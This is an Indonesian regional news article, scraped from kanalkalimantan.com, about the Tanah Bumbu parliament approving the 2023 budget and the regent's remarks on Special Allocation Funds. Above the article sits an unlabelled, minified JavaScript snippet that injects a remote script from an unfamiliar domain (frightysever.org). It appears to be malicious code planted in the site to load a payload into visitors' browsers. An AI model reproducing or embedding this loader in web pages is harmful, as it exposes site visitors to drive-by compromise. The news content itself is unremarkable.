(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BATULICIN– Paripurna DPRD Tanah Bumbu (Tanbu) yang juga dihadiri jajaran eksekutif, akhirnya menyetujui Rancangan Anggaran Pendapatan dan Belanja Daerah (RAPBD) Tahun 2023.
Paripurna dilaksanakan di ruang sidang DPRD pada Senin (31/10/2022) dan dipimpin oleh Ketua DPRD H Supiansyah ZA dan dihadiri Bupati Tanbu Abah HM Zairullah Azhar.
Ada 4 fraksi yang menyatakan menyetujui Raperda itu, yaitu Fraksi PDIP, Fraksi Golkar, Fraksi PKB dan Fraksi Amanat Nasional Demokrat. Sedangkan Fraksi Gerindra tidak menyatakan sikapnya karena melakukan walkout dari ruang sidang.
Zairullah dalam sambutannya menjelaskan APBD 2023 adalah berkaitan dengan hajat hidup masyarakat dan telah melalui berbagai tahapan hingga menjadi keputusan bersama.
Baca juga : Monitoring Pekerjaan Cor Jalan Mahakam Gang 16, Ini Temuan Komisi III DPRD Kapuas
Kemudian setelah melalui perjuangan bersama dengan Ketua DPRD dan Badan Anggaran, maka Tanah Bumbu menjadi salah satu daerah di Kalimantan Selatan yang mendapat Dana Alokasi Khusus (DAK) dengan jumlah besar dari Pemerintah Pusat.
“Alhamdulillah perjuangan kita, ikhtiar dari kita semua. Kita termasuk satu dari enam daerah di Kalimantan Selatan yang mendapatkan dana DAK,†ujar Bupati.
“Saya sedih kalau terjadi penolakan dan membuat APBD 2023 menjadi batal sehingga akhirnya kita didaerah tidak dapat apa-apa, apalagi ini semua demi kepentingan seluruh masyarakat Tanah Bumbu,” tambahnya.
Kalau pun penolakan tersebut berkaitan dengan Dana Alokasi Khusus (DAK) pada RAPBD 2023, Zairullah mengatakan bahwa surat edaran DAK sudah keluar tetapi untuk besarannya belum. Kalau pun ada sedikit masalah itu bisa diperbaiki, tapi kepentingan masyarakat harus diutamakan.
Baca juga : Nakes RSD Idaman Dipilih Kemenkes Sebagai Nakes Teladan 2022
Bupati mengatakan DAK merupakan dana yang bersumber dari pendapatan APBD (Pusat) yang dialokasikan untuk daerah tertentu dengan tujuan untuk mendanai kegiatan khusus yang merupakan urusan daerah dan sesuai dengan prioritas nasional.
Mengingat Pendapatan Asli Daerah (PAD) Tanbu terbatas, oleh sebab itu pemerintah daerah berusaha meraih PAD dari pemerintah pusat dan itu bukanlah kerja yang mudah tetapi membutuhkan perjuangan yang luar biasa.
Untuk dana DAK tersebut tidak semua Kabupaten di Kalimantan Selatan yang menerima dana pusat itu. Hanya ada 6 Kabupaten/Kota saja termasuk di dalamnya Kabupaten Tanah Bumbu yang menerima dana DAK terbesar. Dana itulah yang nantinya digunakan untuk kepentingan pendidikan, kesehatan, infrastruktur, dan lainnya yang menjadi kebutuhan mendasar masyarakat Bumi Bersujud. (Kanalkalimantan.com/ftr)
Reporter : ftr
Editor : cell
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.